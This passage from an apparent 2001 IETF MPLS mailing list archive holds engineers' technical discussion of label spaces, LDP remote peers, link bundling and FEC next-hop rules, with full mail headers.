>> peer's label space must be shared with the label space of whatever
>> interface the TCP session is going out on.
>
> This is plainly wrong.  When using the per-interface label space,
> the interface on which a label is received is obviously part of the
> logical context in which the label must be considered.  This can
> be done in any number of ways.

I must be unclear hree.

When a router receives two stacked labels, it obviously uses the
interface in determining what to do with the top label.

My point is regarding the next label down (the second-level label).

This label is, obviously, allocated as a part of whatever label space
the TCP session (for the remote peer) is associated with.  This is the
same as with all labels.

The problem happens when there is no per-platform label space.  The
remote peer's labels must be allocated as a part of an interface's label
space.  But since the peer is not directly attached, there can be no
guarantee that traffic from that peer (that is, traffic using
second-level labels requested over that TCP channel) will always arrive
on the same interface.

Which means that these second-level labels must either be installed
per-platform, or at least installed on all interfaces that the label
might conceivably arrive on.

The rest of my hypothesizing is an attempt to reduce this down to the
one interface that the label actually does arrive on.  If the data is
strictly following the routing table, it may be possible to assume that
the TCP session will hop interfaces in unison with the data packets. 
Therefore, if the TCP session hopping can be detected (and as you've
already written, it may not be possible to detect this), its labels can
be moved at that time.

-- David


From owner-mpls@UU.NET  Wed May  2 13:04:16 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA17369
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 13:04:13 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknhk15426;
	Wed, 2 May 2001 17:02:25 GMT
Received: by mail-control.mail.uu.net 
	id QQknhk11598
	for mpls-outgoing; Wed, 2 May 2001 17:01:54 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknhk11522
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 17:01:45 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknhk20050
	for <mpls@UU.NET>; Wed, 2 May 2001 17:01:05 GMT
Received: from red.juniper.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: red.juniper.net [207.17.136.137])
	id QQknhk11538
	for <mpls@UU.NET>; Wed, 2 May 2001 17:01:03 GMT
Received: from juniper.net (garnet.juniper.net [172.17.28.17])
	by red.juniper.net (8.9.3/8.9.3) with ESMTP id KAA24234;
	Wed, 2 May 2001 10:00:53 -0700 (PDT)
Message-Id: <200105021700.KAA24234@red.juniper.net>
To: "Fong, Man Wing" <MFong@WhiteRockNetworks.com>
cc: mpls@UU.NET, "'Kireeti Kompella'" <kireeti@juniper.net>,
        ccamp@ops.ietf.org
Subject: Re: Question about logical link in Link bundling 
In-Reply-To: Your message of "Mon, 30 Apr 2001 14:30:38 CDT."
             <66E0B27B8A29D511B19600D0B744446527AE25@192-168-1-220.customer.algx.net> 
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <11258.988822853.1@juniper.net>
Date: Wed, 02 May 2001 10:00:53 -0700
From: Yakov Rekhter <yakov@juniper.net>
Sender: owner-mpls@UU.NET
Precedence: bulk

Man Wing,

> >From "draft-kompella-mpls-bundle-05.txt", it indicates that multiple links
> between two LSRs can be bundled as a single link to improve the routing
> scalability. Apparently, it can be used to bundle multiple links from
> multiple physical interfaces (e.g. multiple T1s, DS3s, OC-12s, OC-48s,
> etc...) to be a single link. However, can it be used to bundle logical links
> like T1s in channelized T3, or DS3s, STS-3c in channelized OC-12 interface?

Could you please point me to the text in the draft that restricts
its application to only physical interfaces ?

Yakov.


From owner-mpls@UU.NET  Wed May  2 13:41:04 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA18255
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 13:41:04 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknhf21956;
	Wed, 2 May 2001 15:45:09 GMT
Received: by mail-control.mail.uu.net 
	id QQknhe09335
	for mpls-outgoing; Wed, 2 May 2001 15:44:13 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknhe08526
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 15:36:08 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknhe26622
	for <mpls@UU.NET>; Wed, 2 May 2001 15:31:54 GMT
Received: from sandmail.sandburst.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQknhe07336
	for <mpls@UU.NET>; Wed, 2 May 2001 15:31:54 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id ABAF594006; Wed,  2 May 2001 11:31:53 -0400 (EDT)
Message-ID: <3AF02869.A71909FC@sandburst.com>
Date: Wed, 02 May 2001 11:31:53 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: David Charlap <david.charlap@marconi.com>, MPLS Mailing List <mpls@UU.NET>
Subject: Re: Label Space
References: <20010501144033.95183.qmail@web14306.mail.yahoo.com> <3AEED3C3.DEC50A9A@marconi.com> <20010501115744.B6029@doit.wisc.edu> <3AEEF103.A5A31094@marconi.com> <3AEF2454.76A0A702@sandburst.com> <3AEF4ACC.BFFEEB73@marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

David,

    Please see comments below.

You wrote:

> Eric Gray wrote:
> >>
> >> Certain things (like LDP remote peers and bypass tunnels) become
> >> difficult with per-interface label spaces.  The routers must be
> >> able to deal with the possibility that the next-hop for an
> >> already-established LSP may jump from one interface to another.
> >> When this happens, its label must also jump.  If the label is
> >> already in use on the new interface, however, then one or the
> >> other must be preempted.
> >
> > Could be that the terminology we're using is ambiguous, but I'm not
> > sure I agree with the above.  One way that an LSR might deal with
> > the possibility of a next hop change for an LSP is to use liberal
> > label retention.
>
> This will work for most cases.  If the next-hop for an ordinary LSP
> changes, there's no problem.  You either use the label you already have
> (if retention is liberal and you have a label) or you request a new one.
>
> Some of the fast-recovery drafts, however, don't allow time for that.
> They assume that labels will already be in place on the backup
> interface.  Which means the label must either be allocated on a
> per-platform basis, or it must be pre-reserved on the backup interface -
> using scarce resources.

If you're not using the per-platform label space, then pre-reservation
must be considered a more optimal use of scarce resources then  use
of the per-platform label space (where all labels are pre-reserved at
all interfaces, or at least, all interfaces in common).

>
>
> It is possible to not allocate the label on the backup interface if you
> can be certain that no other LSP uses that label's value, however.  This
> can simulate the effect of a platform label space (at least as much as
> is necessary for the recovery mechanism) without wasting resources.

I'm not sure of the distinction between allocating a label (in this usage)
and being certain that no other LSP will use it.  If you allocate it
without
signaling, then you are essentially 'reserving' it.  If you are ensuring
that
is is not used for any other LSP, then you are essentially 'reserving' it.
And, if you allocate it and signal the allocation, then the choice of label

space is irrelevant, since this choice is part of the signaling process.

>
>
> > For LDP remote peers, labels are stacked and labels exchanged
> > by remote peers are only visible when all labels above them in the
> > stack have been popped.
>
> Correct.  This only really impacts the edge router.  Transit routers
> only use the top label.
>
> The big deal here is that the TCP session between the remote peers may
> hop from interface to interface if the routing table changes.  If labels
> are per-interface, then any labels mapped as part of that TCP session
> must hop interface with the TCP session.

This is skirting a thin line.  TCP is not normally associated with an
interface and not every implementation pays strict attention to the
interface over which a TCP connection is maintained.  Therefore,
relying on label validity to jump around with TCP connectivity will
most probably lead to (if it is not already) a protocol error.

>
>
> > In this case, the term 'interface' takes on an interesting meaning.
> > One approach (I think the one you're assuming and - possibly - the
> > common interpretation), is to treat all LSPs between two remote
> > LSRs as if they are all part of the same 'interface' - in which
> > case the distinction between label spaces (per-interface, and
> > per-platform) is moot.   This approach is the simplest, and - since
> > the labels used are below the top level label in forwarding packets
> > - there is unlikely to be a hardware reason why this cannot be
> > supported.
>
> I think what you're describing is a situation where the TCP connection
> between remote peers is router-to-router, and not interface-to-
> interface.  So nothing changes if the TCP stream hops interfaces.

I believe that it is safer to assume TCP connectivity is IP entity to
IP entity than it is to assume that it is interface to interface.

>
>
> But this can't work if you have per-interface label spaces.
>
> Since it is not normally possible to use anything more than the label's
> value when determining the meaning of that label, a remote peer's label
> space must be shared with the label space of whatever interface the TCP
> session is going out on.

This is plainly wrong.  When using the per-interface label space,
the interface on which a label is received is obviously part of the
logical context in which the label must be considered.  This can
be done in any number of ways.

However, if a specific system implementation (this is NOT a
limitation induced by any specific hardware component) cannot
consider the interface on which a label was received, then that
system does not support the per-interface label space.  Period.

And, please, before anyone jumps all over this statement, having
an individual label processor for each and every interface is one
way to use the interface on which a label is received as part of
the context for considering the label - even if none of the label
processors is individually capable of knowing what interface a
label was received on.

As a side note, I strongly suspect that building label processors
that are not at least somewhat capable of considering the input
interface (in some abstraction), is probably not as good a way
to sell lots of label processors as it might at first appear.

>
>
> If the egress router is using per-interface label spaces and the inner
> label is only known to one interface, then that inner label will only be
> processed if the packet arrives on that interface.  If a fast reroute
> causes the inner label to be placed into a different LSP, and the packet
> arrives at the egress on a different interface, that interface won't
> know what to do with the inner label - or it may have a different NHLFE.
>
> The problem doesn't exist with per-platform label spaces, because every
> interface knows about the inner label.  But there doesn't seem to be any
> easy solution to this for boxes that can't support per-platform label
> spaces, unless per-platform functionality is faked - perhaps by
> duplicating remote-peer labels across all interfaces - which will waste
> resources.
>
> > I believe that label distribution paradigms (e.g. - MPLS BGP)
> > that rely on use of the per-platform label space, explicitly state
> > this as a requirement.  Perhaps I'm wrong, however, and they
> > simply count on the implementer to do the right thing.  :-)
>
> I'm not sure what's a hard requirement here.  IMO, per-platform
> functionality should be possible to fake on those routers that don't
> actually support it.  But the amount of work and complexity involved may
> be too much to make it worthwhile.

Agreed, and agreed.

>
>
> -- David

--
Eric Gray




From owner-mpls@UU.NET  Wed May  2 13:48:06 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA18447
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 13:48:06 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknhn09323;
	Wed, 2 May 2001 17:45:16 GMT
Received: by mail-control.mail.uu.net 
	id QQknhm00903
	for mpls-outgoing; Wed, 2 May 2001 17:44:40 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknhm00887
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 17:44:23 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknhm04768
	for <mpls@UU.NET>; Wed, 2 May 2001 17:42:43 GMT
Received: from wrnxchg.Whiterocknetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailhost.whiterocknetworks.com [65.192.92.133])
	id QQknhm09725
	for <mpls@UU.NET>; Wed, 2 May 2001 17:42:43 GMT
Received: by 192-168-1-220.customer.algx.net with Internet Mail Service (5.5.2650.21)
	id <25S6S73X>; Wed, 2 May 2001 12:41:46 -0500
Message-ID: <66E0B27B8A29D511B19600D0B744446527AE2F@192-168-1-220.customer.algx.net>
From: "Fong, Man Wing" <MFong@WhiteRockNetworks.com>
To: "'Yakov Rekhter'" <yakov@juniper.net>
Cc: mpls@UU.NET, "'Kireeti Kompella'" <kireeti@juniper.net>,
        ccamp@ops.ietf.org
Subject: RE: Question about logical link in Link bundling 
Date: Wed, 2 May 2001 12:41:45 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Yakov,

Thanks for clearing my doubt.

Regards,
Man Wing

 -----Original Message-----
From: 	Yakov Rekhter [mailto:yakov@juniper.net] 
Sent:	Wednesday, May 02, 2001 12:01 PM
To:	Fong, Man Wing
Cc:	mpls@UU.NET; 'Kireeti Kompella'; ccamp@ops.ietf.org
Subject:	Re: Question about logical link in Link bundling 

Man Wing,

> >From "draft-kompella-mpls-bundle-05.txt", it indicates that multiple
links
> between two LSRs can be bundled as a single link to improve the routing
> scalability. Apparently, it can be used to bundle multiple links from
> multiple physical interfaces (e.g. multiple T1s, DS3s, OC-12s, OC-48s,
> etc...) to be a single link. However, can it be used to bundle logical
links
> like T1s in channelized T3, or DS3s, STS-3c in channelized OC-12
interface?

Could you please point me to the text in the draft that restricts
its application to only physical interfaces ?

Yakov.


From owner-mpls@UU.NET  Wed May  2 13:49:06 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA18466
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 13:49:06 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknhn22130;
	Wed, 2 May 2001 17:47:01 GMT
Received: by mail-control.mail.uu.net 
	id QQknhn01653
	for mpls-outgoing; Wed, 2 May 2001 17:46:24 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknhn01376
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 17:45:47 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknhm13246
	for <mpls@UU.NET>; Wed, 2 May 2001 17:44:38 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: host200.pluris.com [208.227.9.200])
	id QQknhm16644
	for <mpls@UU.NET>; Wed, 2 May 2001 17:44:37 GMT
Received: from pluris.com (do101085.pluris.com [172.16.55.241])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id KAA20697
	for <mpls@UU.NET>; Wed, 2 May 2001 10:44:36 -0700 (PDT)
Message-ID: <3AF04784.64B5B940@pluris.com>
Date: Wed, 02 May 2001 10:44:36 -0700
From: Chris Kuszmaul <fyodor@pluris.com>
Organization: Pluris
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: FEC next hop when FEC has multiple elements
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


 Having studied the LDP spec., some code that attempts to implement
the LDP spec, and several previous threads on the subject of FEC
aggregation
and deaggragation, I have formulated a little question, for which I am
almost certain of the answer, but there is this nagging doubt.


 In the LDP spec, in appendix A for the receive label mapping
procedure, section A.1.2, page 101, we have:

LMp.11 Determine the next hop for the FEC


 Suppose FEC1 is a set of n FEC elements: F1 and F2 ... Fn.
 Suppose the next hop for F1 is the MsgSource, but for F2 ... Fn it
is something else.
 Suppose (for sake of specificity) we are in downstream unsolicited
ordered
advertisement mode.

 My take is that the next hop for FEC1 is NO ROUTE, and that the
label being mapped is not used for switching/forwarding *at all*.


 If my take is right, then



label_map(label, FEC, otherargs);

 Is not at all like:

for each ELEMENT in FEC:
  label_map(label, ELEMENT, otherargs)

 Unless the next hop for each (or no) ELEMENT is MsgSource.



  So, is my take right?


 Thanks to any who can respond!

CLK




From owner-mpls@UU.NET  Wed May  2 13:57:30 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA18847
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 13:57:29 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknhn27765;
	Wed, 2 May 2001 17:55:41 GMT
Received: by mail-control.mail.uu.net 
	id QQknhn02743
	for mpls-outgoing; Wed, 2 May 2001 17:55:12 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknhn02693
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 17:53:23 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknhn01553
	for <mpls@uu.net>; Wed, 2 May 2001 17:52:33 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknhn06431
	for <mpls@uu.net>; Wed, 2 May 2001 17:52:32 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id NAA15550 for mpls@uu.net; Wed, 2 May 2001 13:52:31 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknhn01786
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 17:48:12 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknhn20631
	for <mpls@UU.NET>; Wed, 2 May 2001 17:48:11 GMT
Received: from rtp-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97])
	id QQknhn19394
	for <mpls@UU.NET>; Wed, 2 May 2001 17:48:10 GMT
Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f42Hkk717139;
	Wed, 2 May 2001 13:46:46 -0400 (EDT)
Received: from TNADEAU-PC02.cisco.com (tnadeau-frame4.cisco.com [10.84.75.69])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id ABE02015;
	Wed, 2 May 2001 13:47:49 -0400 (EDT)
Message-Id: <4.3.2.7.2.20010502134806.018d21d8@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Wed, 02 May 2001 13:50:07 -0400
To: Yakov Rekhter <yakov@juniper.net>,
        "Fong, Man Wing" <MFong@WhiteRockNetworks.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
Subject: Re: Question about logical link in Link bundling 
Cc: mpls@UU.NET, "'Kireeti Kompella'" <kireeti@juniper.net>,
        ccamp@ops.ietf.org
In-Reply-To: <200105021700.KAA24234@red.juniper.net>
References: <Your message of "Mon, 30 Apr 2001 14:30:38 CDT." <66E0B27B8A29D511B19600D0B744446527AE25@192-168-1-220.customer.algx.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

At 10:00 AM 5/2/2001 -0700, Yakov Rekhter wrote:
>Man Wing,
>
> > >From "draft-kompella-mpls-bundle-05.txt", it indicates that multiple links
> > between two LSRs can be bundled as a single link to improve the routing
> > scalability. Apparently, it can be used to bundle multiple links from
> > multiple physical interfaces (e.g. multiple T1s, DS3s, OC-12s, OC-48s,
> > etc...) to be a single link. However, can it be used to bundle logical 
> links
> > like T1s in channelized T3, or DS3s, STS-3c in channelized OC-12 interface?
>
>Could you please point me to the text in the draft that restricts
>its application to only physical interfaces ?

         Perhaps the text be clarified to explicitly include
logical links? I understood the text to read that both physical
and logical links were allowed. However, inclusion by implication
is probably not the best practice for a standards-track
document. :P

         --Tom




From owner-mpls@UU.NET  Wed May  2 14:21:34 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA19264
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 14:21:34 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknhp26361;
	Wed, 2 May 2001 18:19:47 GMT
Received: by mail-control.mail.uu.net 
	id QQknhp24206
	for mpls-outgoing; Wed, 2 May 2001 18:19:14 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknhp24179
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 18:19:02 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknhp13684
	for <mpls@uu.net>; Wed, 2 May 2001 18:17:29 GMT
Received: from red.juniper.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: red.juniper.net [207.17.136.137])
	id QQknhp26465
	for <mpls@uu.net>; Wed, 2 May 2001 18:17:29 GMT
Received: from kummer.juniper.net (kummer.juniper.net [172.17.12.90])
	by red.juniper.net (8.9.3/8.9.3) with ESMTP id LAA00987
	for <mpls@uu.net>; Wed, 2 May 2001 11:17:29 -0700 (PDT)
Received: (from kireeti@localhost) by kummer.juniper.net (8.8.8/8.7.3) id LAA24691 for mpls@uu.net; Wed, 2 May 2001 11:17:28 -0700 (PDT)
Date: Wed, 2 May 2001 11:17:28 -0700 (PDT)
From: Kireeti Kompella <kireeti@juniper.net>
Message-Id: <200105021817.LAA24691@kummer.juniper.net>
To: mpls@UU.NET
Subject: Re: Question about logical link in Link bundling
In-Reply-To: <4.3.2.7.2.20010502134806.018d21d8@bucket.cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Tom,

>          Perhaps the text be clarified to explicitly include
> logical links? I understood the text to read that both physical
> and logical links were allowed.

Two points:
1) Terminology: calling a T1 in a channelized T3, or an STS-3c in
   an OC-48 a *logical* link will confuse lots of folks.
2) From a routing point of view, there is entirely no difference
   between an STS-3c in an OC-48, and a "standalone" STS-3c/OC-3c.

So, while I'm not opposed to making the above "clarification", it
seems unnecessary; moreover, there are plenty of other documents
that would then need this same "clarification".

Kireeti.


From owner-mpls@UU.NET  Wed May  2 14:49:09 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA19907
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 14:49:04 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknhr29718;
	Wed, 2 May 2001 18:47:14 GMT
Received: by mail-control.mail.uu.net 
	id QQknhr27428
	for mpls-outgoing; Wed, 2 May 2001 18:46:40 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknhr27391
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 18:46:26 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknhr15841
	for <mpls@UU.NET>; Wed, 2 May 2001 18:46:05 GMT
Received: from bgslc02.TBG.COM by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [63.99.125.2])
	id QQknhr27118
	for <mpls@UU.NET>; Wed, 2 May 2001 18:46:05 GMT
Received: by BGSLC02 with Internet Mail Service (5.5.2650.21)
	id <KDMDGCCF>; Wed, 2 May 2001 12:31:59 -0600
Message-ID: <0C875DC28791D21192CD00104B95BFE70146DAF8@BGSLC02>
From: Irwin Lazar <ILazar@tbg.com>
To: "'Jeremy'" <jledbett007@hotmail.com>, mpls@UU.NET
Subject: RE: A fundamental question
Date: Wed, 2 May 2001 12:31:58 -0600 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk



Is their a table available that compares/contrasts ATM vs. MPLS?
Thanks, Jeremy.

---------------
Have a look at:
http://www.mplsrc.com/faq2.shtml#MPLS and ATM

Irwin


From owner-mpls@UU.NET  Wed May  2 15:07:45 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA20298
	for <mpls-archive@lists.ietf.org>; Wed, 2 May 2001 15:07:45 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknhs21251;
	Wed, 2 May 2001 19:05:51 GMT
Received: by mail-control.mail.uu.net 
	id QQknhs08855
	for mpls-outgoing; Wed, 2 May 2001 19:05:21 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknhs08017
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 19:05:14 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknhs29686
	for <mpls@uu.net>; Wed, 2 May 2001 19:05:03 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknhs15252
	for <mpls@uu.net>; Wed, 2 May 2001 19:05:03 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id PAA23575 for mpls@uu.net; Wed, 2 May 2001 15:05:03 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknhs07007
	for <mpls@mail-control.mail.uu.net>; Wed, 2 May 2001 19:04:18 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknhs05760
	for <mpls@UU.NET>; Wed, 2 May 2001 19:00:46 GMT
Received: from mother.pmc-sierra.bc.ca by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: mother.pmc-sierra.bc.ca [216.241.224.12])
	id QQknhs10978
	for <mpls@UU.NET>; Wed, 2 May 2001 19:00:45 GMT
Received: (qmail 27283 invoked by uid 104); 2 May 2001 19:00:45 -0000
Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-0.93 (uvscan: v4.0.70/v4074. . Clean. Processed in 0.641981 secs); 02/05/2001 12:00:44
Received: from unknown (HELO procyon.pmc-sierra.bc.ca) (134.87.115.1)
  by mother.pmc-sierra.bc.ca with SMTP; 2 May 2001 19:00:43 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by procyon.pmc-sierra.bc.ca (dave/8.11.2) with ESMTP id f42J0g102601;
	Wed, 2 May 2001 12:00:42 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <KDP3HM3S>; Wed, 2 May 2001 12:02:56 -0700
Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C0D@BBY1EXM01>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'Chris Kuszmaul'" <fyodor@pluris.com>, mpls@UU.NET
Subject: RE: FEC next hop when FEC has multiple elements
Date: Wed, 2 May 2001 12:02:56 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Chris,

All FEC elements in an FEC-TLV, must have the same next hop. 

Yours,
-Shahram

> -----Original Message-----
> From: Chris Kuszmaul [mailto:fyodor@pluris.com]
> Sent: Wednesday, May 02, 2001 1:45 PM
> To: mpls@UU.NET
> Subject: FEC next hop when FEC has multiple elements
> 
> 
> 
>  Having studied the LDP spec., some code that attempts to implement
> the LDP spec, and several previous threads on the subject of FEC
> aggregation
> and deaggragation, I have formulated a little question, for which I am
> almost certain of the answer, but there is this nagging doubt.
> 
> 
>  In the LDP spec, in appendix A for the receive label mapping
> procedure, section A.1.2, page 101, we have:
> 
> LMp.11 Determine the next hop for the FEC
> 
> 
>  Suppose FEC1 is a set of n FEC elements: F1 and F2 ... Fn.
>  Suppose the next hop for F1 is the MsgSource, but for F2 ... Fn it
